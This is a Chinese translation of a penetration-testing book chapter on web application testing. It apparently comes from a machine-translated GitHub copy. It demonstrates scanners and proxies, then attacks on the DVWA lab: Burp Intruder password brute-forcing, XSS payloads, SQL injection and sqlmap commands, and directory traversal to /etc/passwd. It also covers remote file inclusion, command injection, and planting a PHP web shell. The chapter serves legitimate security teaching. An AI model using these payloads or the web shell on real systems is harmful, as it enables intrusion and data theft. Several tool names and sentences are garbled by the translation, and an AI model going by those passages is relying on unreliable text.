Skip to content

Latest commit

 

History

History
652 lines (371 loc) · 43.7 KB

File metadata and controls

652 lines (371 loc) · 43.7 KB

十、Web 应用测试

第 6 章漏洞扫描中,我们研究了使用 Nessus 和 OpenVAS 这两个非常强大的工具执行漏洞扫描。在本章中,我们将介绍专门用于 web 和 web 应用扫描和攻击的工具。

现在开发的大多数应用都集成了不同的 web 技术。这增加了暴露敏感数据的复杂性和风险。Web 应用一直是恶意对手窃取、操纵、破坏和勒索公司业务的长期目标。web 应用的激增给戊酯带来了巨大的挑战。关键是要保护 web 应用的前端,其后端通常由数据库、任何附加的微服务和整体网络安全组成。这是必要的,因为 web 应用充当数据处理系统,数据库负责存储敏感数据(例如,信用卡、客户详细信息和身份验证数据)。

我们将在本章中介绍的工具包括 web 应用侦察和漏洞扫描器、代理、数据库攻击类型、web 攻击工具以及一些客户端/浏览器攻击工具。

技术要求

在本章中,您需要以下内容:

  • 卡利 Linux
  • OWASP 断网应用BWA

OWASP BWA 是来自 OWASP 的预配置虚拟机,具有易受攻击的 web 应用集合。我们将使用 VM 上的一个应用,那就是该死的易受攻击的 Web 应用DVWA

网络分析

在本节中,我们将介绍用于识别 web 应用中可能存在的漏洞的工具。其中一些工具,特别是 Burp Suite 和 OWASP ZAP,超出了对 web 和云应用执行漏洞评估的范围,并为您提供了攻击这些漏洞的能力,您将在本章的后面看到它们。

根据我们从各种工具的结果中收集的信息,我们将能够确定我们的攻击向量,以尝试通过密码攻击或从数据库或系统本身过滤数据来访问系统。

尼克托人

Nikto 是一个基本的 web 服务器安全扫描程序。它扫描并检测 web 应用上的漏洞,这些漏洞通常由服务器上的错误配置、默认文件和不安全文件以及过时的服务器应用引起。由于 Nikto 完全构建在 LibWhisker2 上,因此它支持开箱即用的跨平台部署、SSL、主机身份验证方法(NTLM/Basic)、代理和几种 IDS 绕过技术。它还支持子域枚举、应用安全检查(XSS、SQL 注入等),并能够使用基于字典的密码攻击猜测授权凭据。

要使用nikto,您可以导航到应用菜单| 03–Web 应用分析| Web 漏洞扫描器| nikto,或在您的终端中键入以下内容:

# nikto

导航到应用|漏洞分析| Nikto 也可以轻松找到 Nikto。

默认情况下,与前面在其他应用中看到的一样,只需运行该命令即可显示可用的不同选项。要扫描目标,请输入nikto -h <target> -p <port>,其中<target>是目标网站的域或 IP 地址,<port>是运行服务的端口。对于此扫描,nikto将以称为 OSWAP BWA 的本地虚拟机为目标(可从获得)https://sourceforge.net/projects/owaspbwa/files/ )。OWASP BWA 是一个基于 VMware 的虚拟机中故意存在漏洞的 web 应用的集合:

阅读屏幕截图中的结果片段,在前几行,nikto告诉我们目标的 IP 地址和主机名。在基本目标信息之后,nikto显示正在运行的 web 服务器及其版本 Apache 2.2.14,该版本位于 Ubuntu 系统上,其中包含一些已加载的模块,例如mod_perl/2.0.4OpenSSL/0.9.8k。继续往下看,我们会看到一些有用的信息,例如 CGI 文件夹(/cgi-bin/的路径),并且加载的一些模块已经过时:

在结果的下方,nikto显示 OSVDB 代码。OSVDB 是开源漏洞数据库的缩写。这是一项由安全行业的专业人士于 2004 年正式启动的计划,是一个存储安全漏洞技术信息的数据库(绝大多数与 web 应用相关)。不幸的是,由于缺乏支持和贡献,该服务于 2016 年 4 月关闭,但是,团队在结束 http://cve.mitre.org 编制了一份参考地图,将 OSVDB 引用到 CVE 条目(http://cve.mitre.org/data/refs/refmap/source-OSVDB.html )。

这可用于获取nikto提供的 OSVDB 代码的更多详细信息:

Nikto 具有识别 web 应用漏洞的功能,如信息泄露、注入(XSS/Script/HTML)、远程文件检索(服务器范围)、命令执行和软件识别。除了演示的基本扫描外,Nikto 还允许渗透测试仪根据特定目标定制扫描。以下是一些可用于扫描的选项:

  • 使用带有单个测试编号的-T命令行开关将根据特定类型定制测试
  • 通过使用–t,您可以为每个测试响应设置超时值
  • -D V控制显示输出
  • -o-F定义要以特定格式写入的扫描报告
  • 还有其他高级选项,例如–mutate(猜测子域、文件、目录和用户名)、-evasion(绕过 IDS 过滤器)和-Single(用于单一测试模式),您可以使用这些选项深入评估您的目标

OWASP ZAP

OWASP Zed 攻击代理ZAP是一个 web 应用漏洞扫描器。由 OWASP 项目创建,这是一个基于 Java 的开源扫描仪,具有大量功能。它包括网络爬虫、漏洞识别和模糊分析,并且可以用作 web 代理。要启动 ZAP,请转到应用| Web 应用分析| owasp ZAP,或在终端中输入:

# owasp-zap

一旦加载,就很容易开始扫描目标站点。在 ZAP 的主屏幕上,有一个字段用于输入目标的地址。这一次,目标是 BWA 虚拟机 DVWA 上的一个易受攻击的 web 应用。进入目标后,单击攻击按钮并观看 ZAP 开始工作:

扫描结果显示在主屏幕的底部。ZAP 扫描站点时采取的第一步是识别或爬网整个站点,包括以下与主机关联的链接:

在对站点进行爬网之后,ZAP 针对常见的 web 应用漏洞进行了许多不同的检查。这些在左下角的警报选项卡下显示。例如,以下是 ZAP 在 DVWA 应用上识别的漏洞:

然后,您可以深入到特定的站点路径,以确定这些漏洞出现的确切位置;在本例中,我们看到login.php易受 SQL 注入攻击:

扫描只是 ZAP 提供的所有工具的表面。有关 ZAP 的更多信息,OWASP 的资源位于https://www.owasp.org/index.php/ZAP

Burp 套件教程

Burp Suite 是功能强大的 web 应用安全工具的组合。这些工具展示了攻击者渗透 web 应用的真实能力。他们可以使用手动和自动技术扫描、分析和利用 web 应用。这些工具接口之间的集成设施提供了一个完整的攻击平台,用于在一个或多个工具之间共享信息。这使得 Burp 套件成为一个非常有效且易于使用的 web 应用攻击框架。

要启动 Burp 套件,请导航到应用| Web 应用分析| BURPUSITE 或使用终端执行以下命令:

# burpsuite

首次启动 Burp 时,将要求您接受条款和条件,并设置项目环境(保留所有默认设置就足够了):

屏幕上将显示一个打嗝套件窗口。所有集成工具(Target、Proxy、Spider、Scanner、入侵者、中继器、Sequencer、解码器和比较器)都可以通过各自的选项卡访问。您可以通过“帮助”菜单或访问获取有关其使用和配置的更多详细信息 http://www.portswigger.net/burp/help/ 。请注意,Burp 套件有三种不同的版本:免费(社区)、专业版和企业版。免费社区版是 Kali 提供的版本。

如前所述,Burp 套件自带了自己的 Spider。应用感知蜘蛛,或 BurpSider,是一种网络爬虫,它本质上是一个机器人,可以系统地浏览目标站点及其所有内部页面并映射其结构。

在我们的示例中,我们将使用 Burp 来破解登录凭据以获得对 DVWA 应用的访问。首先,我们需要设置代理并验证 IP 是否设置为本地主机 IP,端口是否应为8080。转到“代理”选项卡,然后是“选项”子选项卡:

此外,请验证“代理”选项卡下的“拦截”选项是否处于启用状态,然后检查“拦截”选项卡是否处于启用状态:

完成后,打开浏览器,进入选项|首选项|高级|网络|连接设置。

您现在需要将浏览器设置为您的代理:

这就是我们的初始设置。现在,我们需要访问目标站点,在本例中,192.168.0.32/dvwa

输入地址后,地址应保持在连接循环中。但是,如果查看 Burp Suite 界面,您可以看到一些数据:

单击“前进”几次后,浏览器应加载到网页。

在 Burp Suite 的“目标”选项卡下,站点地图选项卡中现在有一些数据:

从这里开始,只需右键单击主机并从这里选择 Spider 或从主机选择 Spider。

现在,在这条线上的某个地方,您应该会看到一个弹出窗口,指示 BurpSider 找到了一个请求某些信息的表单。BurpSider 在找到表单时总是会弹出。请记住,表单可以请求用户凭据,也可以是简单的搜索/查询/查找表单。

话虽如此,在我们的例子中,它是一个登录表单:

回到我们的目标站点页面,让我们通过在页面的登录表单中输入一些随机凭证,为 Burp Suite 的入侵者工具生成一些流量。

输入凭据后,查看我们的拦截器:

注意我们获得的关键信息,用户名和密码,并在网页上验证它如何向我们表明我们输入的凭据是错误的。在本例中,它在一个简单的字符串消息中告诉我们Login失败,但是,有时可能是弹出窗口或 cookie。

现在,右键单击目标并选择发送到入侵者。

在“入侵者”选项卡下,选择“位置”选项卡:

用户名和密码是我们作为用户名和密码输入的文本。请注意,默认情况下,可能会高亮显示更多字段或位置。要清除这些,只需单击不需要的字段,然后单击右侧的清除按钮。这些字段或位置是入侵者将用我们定义的有效载荷(在本例中是用户名和密码)替换它的位置。

在继续之前,请验证攻击类型是否设置为集束炸弹。现在,转到“有效载荷”选项卡:

单击有效负载设置下拉菜单时,其中的计数应反映位置选项卡中的位置数。

现在,选择 1,它将对应于 username 字段,并将 Payload type 设置为 Simple list。在“有效负载设置”部分下的“有效负载选项”部分中,在标有“输入新项目”的文本字段中输入用户名,然后单击“添加”。这将被入侵者用作用户名。您可以添加多个用户名。

现在,我只输入要测试的admin用户名:

现在,让我们设置 Payload set 2,这是密码字段。不要逐个输入密码,而是单击“加载”按钮,加载您的一个密码文件(rockyou.txt位于 Kali 的/usr/share/wordlist

设置完毕后,单击开始攻击:

此屏幕截图显示结果弹出窗口。查看结果,所有尝试的状态(HTTP 响应代码)均为302。快速搜索 HTTP 响应代码表明这会导致重定向,但重定向到何处?

如果我们单击每个结果,然后选择响应选项卡,您将看到重定向到index.php的唯一结果是admin:password。我们现在可以转到 DVWA 登录页面并输入凭据,授予对该站点的访问权限。

我们还可以在 Burp 套件中使用另一个工具 Repeater 来验证这一点。Repeater 用于手动修改 HTTP 请求和请求中发送的数据。

返回目标选项卡,选择login.phpPOST请求。这是发送用户名和密码的表单请求。右键单击它并选择“发送到中继器”。

现在,选择中继器选项卡:

password=之后,删除不正确的密码并输入将我们重定向到index.php的密码。在此情况下,密码为password。完成后,单击“转到”:

在响应面板中,我们看到位置:index.php。现在,单击顶部的跟随重定向按钮。这将生成原始 HTML,并在“呈现”选项卡下呈现页面的外观:

在本例中,我们使用了 Burp 套件附带的一些常用工具。Burp 套件作为一个集多功能于一体的应用安全工具包,是一个非常广泛和强大的 web 应用攻击平台。

解释它的每一部分都超出了本书的范围;因此,我们强烈建议您访问本网站(http://www.portswigger.net )以获取更详细的示例。

防止外空军备竞赛代理

防止外空军备竞赛代理是一种有价值和密集的脆弱性评估工具。它在整个网站上爬行并执行各种漏洞测试。它还允许审核员通过在浏览器和实际目标应用之间设置本地代理来拦截 web 流量(HTTP/HTTPS)。这种机制帮助审核员篡改或操纵对目标应用的特定请求,以便手动测试它。因此,Paros 代理充当主动和被动 web 应用安全评估工具。要启动 Paros 代理,请导航到应用| Web 应用分析| Paros 或在终端中,输入以下命令:

# paros

这将打开 Paros 代理窗口。在进行任何实践练习之前,您需要在您喜爱的浏览器中设置本地代理(127.0.0.1, 8080。如果需要更改任何默认设置,请导航到菜单栏中的“工具选项”。这将允许您修改连接设置、本地代理值、HTTP 身份验证和其他相关信息。设置好浏览器后,请访问目标网站。

以下是漏洞测试和获取其报告的步骤:

  1. 在我们的例子中,我们浏览http://192.168.0.30/mutillidae并注意到它出现在 Paros 代理的站点选项卡下。

  2. 右键点击http://192.168.0.30/mutillidae并选择蜘蛛在整个网站上爬行。这将需要几分钟,取决于你的网站有多大。

  3. 网站爬网完成后,您可以在底部的 Spider 选项卡中看到所有发现的页面。此外,您可以通过选择目标网站,并在“站点”选项卡的左侧面板上选择特定页面,来查找所需页面的特定请求和响应。

  4. 要捕获任何进一步的请求和响应,请转到右侧面板上的陷阱选项卡。当您决定对目标应用抛出一些手动测试时,这尤其有用。此外,您可以通过导航到 Tools | Manual request Editor 构建自己的 HTTP 请求。

  5. 要执行自动漏洞测试,我们在 Sites 选项卡下选择目标网站,然后从菜单中导航到 Analyze | Scan All。请注意,您仍然可以通过导航到 Analyze | Scan Policy,然后导航到 Analyze | Scan 而不是 Scan All 来选择特定类型的安全测试。

  6. 漏洞测试完成后,您可以在底部的警报选项卡上看到许多安全警报。这些风险级别分为高、低和中等风险级别。

  7. 如果需要扫描报告,请导航至菜单栏中的报告|上次扫描报告。这将生成一份报告,列出测试会话期间发现的所有漏洞(/root/paros/session/LatestScannedReport.html

我们在示例场景中使用了基本的脆弱性评估测试。

为了更熟悉 Paros 代理提供的各种选项,我们建议您阅读以下用户指南:http://www.ipi.com/Training/SecTesting/paros_user_guide.pdf

W3AF

W3AF 是一个功能丰富的 web 应用攻击和审计框架,旨在检测和利用 web 漏洞。整个应用安全评估过程是自动化的,框架设计为遵循三个主要步骤:发现、审核和攻击。这些步骤中的每一步都包括几个插件,这些插件可以帮助审核员关注特定的测试标准。所有这些插件都可以通信和共享测试数据,以实现所需的目标。它支持检测和利用多个 web 应用漏洞,包括 SQL 注入、跨站点脚本、远程和本地文件包含、缓冲区溢出、XPath 注入、操作系统命令和应用错误配置。

要了解有关每个可用插件的更多信息,请访问http://w3af.sourceforge.net/plugin-descriptions.php

要启动 W3AF,请导航到应用| Web 漏洞分析| W3AF,或者在终端中键入以下内容:

# w3af_console

这将使您进入个性化的 W3AF 控制台模式(w3af>>>。请注意,此工具的 GUI 版本也可在同一菜单中找到,但我们选择向您介绍 console 版本,因为它具有灵活性和自定义性:

w3af>>> help

这将显示可用于配置测试的所有基本选项。只要您需要特定选项后的任何帮助,就可以使用 help 命令。在我们的练习中,我们将配置输出插件,启用选定的审核测试,设置目标,并使用以下命令对目标网站执行扫描过程:

  • w3af>>> plugins
  • w3af/plugins>>> help
  • w3af/plugins>>> output
  • w3af/plugins>>> output console, html_file
  • w3af/plugins>>> output confightml_file
  • w3af/plugins/output/config:html_file>>> help
  • w3af/plugins/output/config:html_file>>> view
  • w3af/plugins/output/config:html_file>>> set verbose True
  • w3af/plugins/output/config:html_file>>> set output_file metasploitable.html
  • w3af/plugins/output/config:html_file>>> back
  • w3af/plugins>>> output config console
  • w3af/plugins/output/config:console>>> help
  • w3af/plugins/output/config:console>>> view
  • w3af/plugins/output/config:console>>> set verbose False
  • w3af/plugins/output/config:console>>> back
  • w3af/plugins>>> audit
  • w3af/plugins>>> audit htaccess_methods, os_commanding, sqli, xss
  • w3af/plugins>>> back
  • w3af>>> target
  • w3af/config:target>>> help
  • w3af/config:target>>> view
  • w3af/config:target>>> set target http://http://192.168.0.30/mutillidae/index.php?page=login.php
  • w3af/config:target>>> back
  • w3af>>>

此时,我们已经配置了所有必需的测试参数。将使用以下命令针对 SQL 注入、跨站点脚本、操作系统命令和 htaccess 错误配置评估我们的目标:

w3af>>> start

如您所见,我们在目标 web 应用中发现了一个跨站点脚本漏洞。详细报告也会以 HTML 格式创建并发送到root文件夹。此报告详细说明了所有漏洞,包括 W3AF 和目标 web 应用之间传输的每个请求和响应数据的调试信息。

我们在前面代码中介绍的测试用例并不反映其他有用插件、概要文件和漏洞利用选项的使用。因此,我们强烈建议您演练用户指南中的各种练习。这些可在上获得 http://w3af.sourceforge.net/documentation/user/w3afUsersGuide.pdf

韦伯斯卡拉布

WebScarab 是一个功能强大的 web 应用安全评估工具。它有多种操作模式,但主要通过拦截代理进行操作。此代理位于最终用户的浏览器和目标 web 应用之间,用于监视和修改在任意一侧传输的请求和响应。这个过程帮助审核员手工处理恶意请求,并观察 web 应用返回的响应。它有许多集成工具,如 fuzzer、会话 ID 分析、spider、web 服务分析器、XSS 和 CRLF 漏洞扫描程序以及转码器。

要启动 WebScarab lite,请导航到应用| Web 应用分析| WebScarab,或者在终端中键入以下内容:

# webscarab

这将弹出 WebScarab 的精简版。在我们的练习中,我们将通过导航到菜单栏中的工具|使用全功能界面,将其转换为全功能版本。这将确认选择,您应该相应地重新启动应用。重新启动 WebScarab 应用后,您将在屏幕上看到许多工具选项卡。在开始练习之前,我们需要将浏览器配置为本地代理(127.0.0.1, 8008,以便通过 WebScarab 拦截代理浏览目标应用。如果要更改本地代理(IP 地址或端口),请导航到 proxy | Listeners 选项卡。以下步骤将帮助您分析目标应用的会话 ID:

  • 一旦建立了本地代理,您应该浏览到目标网站(例如,http://192.168.0.30/mutillidae,并访问尽可能多的链接。这将增加捕获任何已知和未知漏洞的概率。或者,您可以在 Summary 选项卡下选择目标,右键单击,然后选择 Spider tree。这将获取目标应用中的所有可用链接。

  • 如果您想检查 Summary 选项卡底部提到的特定页面的请求和响应数据,双击它,您可以以表格和原始格式查看解析的请求。但是,也可以以 HTML、XML、文本和十六进制格式查看响应。

  • 在测试期间,我们可能会决定使用GET方法模糊一个具有参数的目标应用链接(例如,artist=1。这可能会暴露任何未识别的漏洞(如果存在)。右键单击所选链接并选择“用作模糊模板”。现在,单击 Fuzzer 选项卡,通过单击 Parameters 部分附近的 Add 按钮,手动将不同的值应用于参数。在我们的例子中,我们编写了一个小文本文件,列出了已知的 SQL 注入数据(例如,1 AND 1=21 AND 1=1和单引号(')),并将其作为模糊参数值的来源。这可以使用 Fuzzer 选项卡下的 Sources 按钮完成。一旦你的模糊数据准备好了,点击开始。所有测试完成后,您可以双击单个请求并检查其响应。在我们的一个测试用例中,我们发现了一个 MySQL 注入漏洞:

    • 错误:您的 SQL 语法有错误;检查与您的 MySQL 服务器版本相对应的手册,以了解在第1'\'附近使用的正确语法
    • 警告mysql_fetch_array():提供的参数在/var/www/vhosts/default/htdocs/ listproducts.php在线74中不是有效的 MySQL 结果资源
  • 在上一个测试用例中,我们决定分析目标应用的会话 ID。为此,请转到SessionID分析选项卡,并从组合框中选择先前的请求。加载所选请求后,转到底部,选择 samples(例如,20),然后单击 Fetch 以检索会话 ID 的各种样本。之后,单击测试按钮开始分析过程。您可以在“分析”选项卡上查看结果,并在“可视化”选项卡上查看图形表示。此过程确定会话 ID 的随机性和不可预测性,这可能导致劫持其他用户的会话或凭据。

该工具具有多种选项和功能,可能为渗透测试增加认知价值。欲了解更多关于 WebScarab 项目的信息,请访问http://www.owasp.org/index.php/Category:OWASP_WebScarab_Project

跨站点脚本

跨站点脚本XSS攻击在今天仍然非常常见。这是一种注入攻击,攻击者将恶意脚本或代码注入 web 应用发送的请求中。这些攻击之所以成功,是因为用户输入在发送到服务器之前未正确验证。

最初有两种类型的 XS,但在 2005 年发现了第三种:

  • **存储 XSS:**当用户输入存储在目标服务器上且未经验证时,会发生存储 XSS。存储可以是数据库、论坛或评论字段。受害者在不知不觉中从 web 应用检索存储的数据,浏览器认为由于客户端和服务器之间的固有信任,可以安全地呈现这些数据。因为输入是实际存储的,所以存储的 XSS 被认为是持久的或永久的。

  • **反射 XSS:**当 web 应用以错误消息、搜索结果或任何其他响应的形式立即返回用户输入时,会发生反射 XSS,其中包括用户作为请求的一部分提供的部分或全部输入,而该数据不会在浏览器中安全呈现,并且无需永久存储用户提供的数据。

  • **DOM XSS:**文档对象模型(DOM)是 HTML 和 XML 文档的编程 API。它定义了文档的逻辑结构以及访问和操作文档的方式。基于 DOM 的 XSS 是 XSS 的一种形式,其中从源到接收器的整个受污染数据流都发生在浏览器中,也就是说,数据源在 DOM 中,接收器也在 DOM 中,数据流永远不会离开浏览器。

XSS 测试

为了测试 XSS 漏洞,我们将使用 JavaScript 和标准 HTML:

  • 反射 XSS 测试

记住我们之前说过的:反射的 XSS 之所以这样命名是因为 web 应用会立即处理并返回用户输入。为了测试它,我们需要找到一个接受用户输入的字段。

让我们登录到之前破解密码的 DVWA 页面。在主页面左侧将有一个菜单:

选择 DVWA 安全性,并在下拉框中选择低,然后单击提交。通过这样做,我们将 web 应用设置为在输入未被验证的情况下运行:

对于我们的第一个测试,在左侧菜单中反映 XSS 的页面上导航。在输入字段中,键入以下 JavaScript:

<script>alert(“Allows XSS”)</script>

单击提交。

如果成功,则应显示一个弹出消息框,其中包含允许 XSS 消息:

让我们再试试。键入以下内容:

<script>window.location=’https://www.google.com’</script>

这会将浏览器重定向到另一个网站,在我们的例子中是google.com

  • 存储 XSS 的测试

存储的 XSS 之所以这样命名,是因为它将自身存储在一个位置(尽管是一个数据库),并且每当用户访问受影响的站点时,代码都会执行。攻击者可以轻松地将关键信息(如 cookie)发送到远程位置。为了测试它,我们需要找到一个接受用户输入的字段,例如,注释字段。

让我们在左侧菜单中存储的 XSS 页面上导航。我们将看到两个输入字段:名称和消息。这模拟了许多网站上的基本评论或反馈表单。在“名称”字段中,输入您想要的任何名称,但在“消息”字段中输入以下代码,然后单击“签署留言簿”:

<script>alert(document.cookie)</script>

下面是我们得到的弹出窗口:

现在,如果我们离开这个页面,比如说主页,然后返回 XSS 存储页面,我们的代码应该再次运行,并为当前会话显示一个带有 cookie 的弹出窗口。这一点可以大大扩展,只要对 JavaScript 有多一点了解,攻击者就可以造成很大的伤害。

SQL 注入

SQL 注入(SQLi)是对 SQL 数据库的攻击,其中代码或数据库查询通过某种形式的输入从客户端插入到应用。SQLi 是最古老的漏洞之一,但仍然是最常见的漏洞之一,而且由于基于 SQL 的数据库非常常见,因此也是最危险的漏洞之一。

SQL 注入攻击的严重性受到攻击者技能和想象力的限制,并在较小程度上受到深入防御措施(如与数据库服务器的低权限连接)的限制。一般来说,考虑 SQL 注入具有很高的影响严重性。

在注入 SQL 之前,我们应该对 SQL 有一个基本的了解,还应该了解数据库结构。

SQL 被认为是第四代编程语言,因为它的语法使用标准的人类可以理解的单词:只有英语和括号。SQL 用于数据库,我们可以使用它创建表;添加、删除、更新记录,设置用户权限;等等

以下是创建表的基本查询:

create table employee 
(first varchar(15),
last varchar(20),
age number(3),
address varchar(30),
city varchar(20),
state varchar(20));

前面的代码表示创建一个名为employee的表,其中包含以下列:firstlastageaddresscity,然后使用varchar(15)字符限制【变量字符,最多 15 个字符】和数字(3】【仅数字,最多 3 个数字,因此 999】来说明和分配它们的数据类型。

下面是从表中检索数据的基本查询(也称为select语句):

select first, last, city from employee

select语句就是我们要利用的查询。

当您登录到网站时,它会向数据库发送一个 select 查询/语句以检索数据,以确认您登录时使用的数据。

假设登录页面如下所示:

登录时后端上的查询可能如下所示:

SELECT * from users WHERE username=’username’ and password=’password’

前面的语句表示从名为 users 的表中选择所有(*,其中username=列是变量 username(登录字段),而password =列是变量 password(密码字段)。

手动 SQL 注入

现在我们已经了解了 SQL 查询的基本知识,让我们利用它来发挥我们的优势。再次使用 DVWA 进行此操作,请登录到 DVWA 并转到 SQL 注入:

我们可以看到,这个页面有一个字段,用户可以输入某人的用户 ID。如果我们在这里输入1,应用应该告诉我们哪个用户具有用户 ID 1。

让我们做一个简单的 SQL 注入测试。在用户 ID 字段中,输入以下内容,而不是输入数字:

%’ or ‘1’=’1

假设初始查询如下所示:

SELECT user_id, first_name, fast_name From users_table Where user_id = 'UserID';

我们假设该表名为users_table,带有相对的列名。我们将前面的语句更改为:

'SELECT user_id, first_name, last_name FROM users WHERE user_id = %' OR '1'='1';

然后单击提交。我们的结果应该是表中的所有数据,如下所示:

%表示 mod,返回false。但是我们添加了 OR 操作符。因此,由于查询的第一部分将返回false(由于%,OR 将强制执行第二部分'1'='1,即true。因此,因为查询运行的所有内容都是true,所以对于表中的每个记录,SQL 都会打印出表中的所有记录。

以下是一些您可以尝试的其他查询:

  • 获取用于连接 web 应用和数据库的帐户的用户名:%' or 0=0 union select null, user() #

  • 获取我们从中提取数据的当前数据库:%' or 0=0 union select null, database() #

  • 显示信息模式表:information_schema表是存储所有其他数据库信息的数据库;%' and 1=0 union select null, table_name from information_schema.tables #

  • 显示数据库表:使用上一次查询的数据,我们可以找到该表是什么:%' and 1=0 union select null, table_name from information_schema.tables where table_name like 'user%'#

自动 SQL 注入

现在,我们了解 SQL 注入的样子,让我们来看看一些可以使这个过程自动化的工具。

sqlmap

sqlmap 是 Kali 中内置的工具,可用于识别和利用 SQLi 漏洞。在这个例子中,我们将使用 Burp Suite 来收集一些数据,这些数据需要提供给sqlmap才能工作。

启动 Burp Suite 并继续设置浏览器以通过其代理路由所有流量。确保“拦截”处于启用状态。转到 DVWA 应用上的 SQL 注入页面并输入用户 ID;在这种情况下,我将输入1

Burp 将捕获请求。继续转发,直到请求完成。你应该在网页上看到你的结果。转到目标选项卡,选择 DVWA IP(在我的例子中为192.168.0.19,并使用箭头向下钻取 URL 路径http://192.168.0.19/dvwa/vulnerabilities/sqli/(您可以在浏览器的地址栏中确认):

选择状态为200的请求(HTML 代码200

在 Request 选项卡中,我们获得了需要的信息,即 web 应用(referer)发送的实际请求,该请求位于第一行:/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit中,我们获得了 PHP 会话 ID 或 Cookie:

有了这些数据,让我们打开一个终端并输入以下内容以获取数据库用户,就像我们在手动步骤中所做的那样:

sqlmap -u "http://192.168.0.19/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=fb89mhevcus9oq1a1f2s6q3ss4; security=low" -b --current-db --current-user

这是一条在--cookie处没有中断的线:

  • -u:对于我们从 Burp 获得的目标 URL

  • --cookie:我们通过打嗝捕捉到的饼干信息

  • -b:显示数据库横幅

  • --current-db:获取当前数据库

  • --current-user:获取当前数据库的当前用户:

测试过程中会提示您,您可以安全地按回车接受默认值。只有一个提示我没有使用默认值,纯粹是为了时间:

最后,我们给出了结果:

我们获得了运行数据库的操作系统(Ubuntu 10.04),服务器端技术(PHP 5.3.2 and Apache 2.2.14),数据库(MySQL),当前数据库(dvwa)和当前用户(dvwa的信息。

要获得sqlmap的所有可用选项列表,只需在终端中键入sqlmap -h,如果需要更高级的选项,请输入sqlmap --hh

命令执行、目录遍历和文件包含

命令注入是一种攻击类型,其主要目标是让易受攻击应用的主机操作系统执行系统命令。当不安全的用户输入从应用传递到系统外壳时,这些类型的攻击是可能的。所提供的命令在应用的特权级别执行,例如,web 服务器可以由www-data用户或 Apache 用户而不是根用户运行。

目录遍历是指服务器允许攻击者读取正常 web 服务器目录之外的文件或目录。

文件包含漏洞是允许攻击者通过利用易受攻击的包含过程将文件包含到 web 服务器的漏洞。例如,当页面接收到必须包含的文件路径作为输入,并且该输入未被正确清理,从而允许被攻击的用户插入目录遍历字符(../时,就会出现这种类型的漏洞。

文件包含、目录遍历和命令注入都是协同工作的攻击向量。

目录遍历和文件包含

让我们从测试开始,看看是否可以让 web 应用跳转到一个目录。

我们将再次使用 DVWA 应用。登录并从左侧菜单导航到文件包含页面:

在浏览器的地址栏中,您应该会看到<IP Address>/dvwa/vulnerabilities/fi/?page=include.php。让我们将include.php改为index.php,看看会发生什么:

没有发生任何事情,表明此目录中没有index.php。我们知道index.php存在,但它在/dvwa目录中。我们怎么知道的?当我们使用 Burp Suite 将凭证破解到login.php页面时,我们看到成功登录将用户重定向到index.php。您将不会在浏览器中看到index.php,因为index.php是 PHP 的默认根页面(default.asp用于 ASP),因此默认情况下不会显示它。要进行测试,只需点击 DVWA 菜单中的 Home(主页)按钮,在/dvwa之后,输入/index.php。这将带您进入同一主页。

再次导航到文件包含页面。查看 URL,我们看到我们目前在/dvwa/vulnerability/fi/中,这是从我们的根目录dvwa向下的两个目录。在浏览器地址中,删除include.php,这次将其替换为../../index.php。按回车让我们看看会发生什么:

果然,它把我们带到了主页。伟大的我们已经成功地遍历了 web 服务器的目录结构,由于我们使用了系统本地的文件,现在我们知道,本地文件包含LFI是可能的。

根据我们之前对sqlmapnikto的结果,我们知道该apache服务器运行的操作系统是 Linux(Ubuntu)。默认情况下,在 Linux 中,apache将其文件存储在/var/www/html/目录中。Linux 在/etc/passwd文件中存储基本用户信息,在/etc/shadow文件中存储散列用户密码。有了这些知识,让我们尝试更改目录以查看/etc/passwd文件。

再次在文件包含页面上,删除include.php并输入../../../../../../etc/passwd

../../../../../../带我们通过/var/www/html/dvwa/vulnerability/fi//

我们成功地将目录向上更改了六个,然后向下更改了一个到/etc,从而获得了对passwd文件的访问权。我们看到的是passwd文件的内容。

以下是复制到文本文件并进行清理的屏幕截图:

第一个:符号后的x表示该账户有密码,并散列存储在/etc/shadow文件中。

知道我们可以遍历目录并且 LFI 是可能的,现在让我们尝试一次远程文件包含RFI攻击。

下一步是将文件从远程服务器(我们的 Kali 系统)传递到目标系统。在终端中,输入以下内容:

service apache2 start

这将启动我们系统上的apacheweb 服务器。您可以通过进入浏览器,输入您的系统 IP 进行测试,您将看到默认的apacheHTML 页面。

返回 DVWA 应用,导航到文件包含页面。在地址栏中,将include.php替换为您的webserver/index.html路径:

它成功地打开了托管在我们的 web 服务器上的index.html。可以在此系统上进行 RFI:

命令执行

命令注入漏洞允许攻击者将命令注入未经验证的用户输入。这个输入以某种形式被系统 shell 使用,在这个过程中,注入的命令在系统上执行。

在一种情况下,您可能会发现这是一个应用,它接受用户输入,例如用户名或电子邮件地址,并在系统上创建一个文件夹,用于存放该用户的数据、文件上载等。

在我们的目标系统 DVWA 中,有一个页面通过利用传递给系统 ping 命令的用户输入来演示此缺陷。让我们在 OWASP 断开的应用 VM 上再次登录到 DVWA,并从左侧菜单中选择命令注入:

如前所述,此输入被传递到 ping 命令,该命令应为 IP 地址。我们可以通过127.0.0.1确认:

我们得到了预期的结果。现在,让我们尝试向该输入传递另一个命令。我们知道这个应用是在 Linux 上托管的。要在 Linux 中连接命令,可以在命令之间使用&&

使用&&时,必须先成功完成上一个命令,然后才能执行下一个命令。;将执行该命令,无论上一个命令是否成功完成。让我们用一个基本的ls命令来试试。在输入框中输入127.0.0.1; ls,然后点击提交:

现在我们已经确认输入在处理之前没有经过验证,因为 ping 统计数据之后的行向我们显示了当前目录的文件。我们可以在此基础上展开并获取当前目录以及执行命令的用户。输入127.0.0.1pwdwhoami

从我们的结果中,我们看到我们当前在/owaspbwa/dvwa-git/vulnerabilities/exec目录中,并且我们以www-data用户的身份执行命令。现在让我们试着打印一个文件的内容,特别是/etc/passwd文件。在输入字段中,输入127.0.0.1cat /etc/paswd

这段代码应该类似于我们早期 LFI 的结果。

让我们再做一件事。让我们在目录中创建一个文件,我们可以在以后执行命令时始终参考它。输入127.0.0.1echo “<?php system(\$_GET[‘cmd’]) ?>” > backdoor.php。这应该创建一个名为backdoor的 PHP 文件,其中的 PHP 代码应该是 system(\$_GET[‘cmd’]

现在,在浏览器中,导航到<ip address>/dvwa/vulnerabilities/exec/backdoor.php

但是,页面加载时,不会显示任何内容。这是因为我们还没有传递任何命令。看看我们输入的内容,单引号中有cmd。这是我们的变量,用于存储要执行的命令,并将其传递给系统执行。要执行命令,请在地址栏中的backdoor.php之后输入?cmd=,然后输入您的命令。我将使用ls作为基本演示:

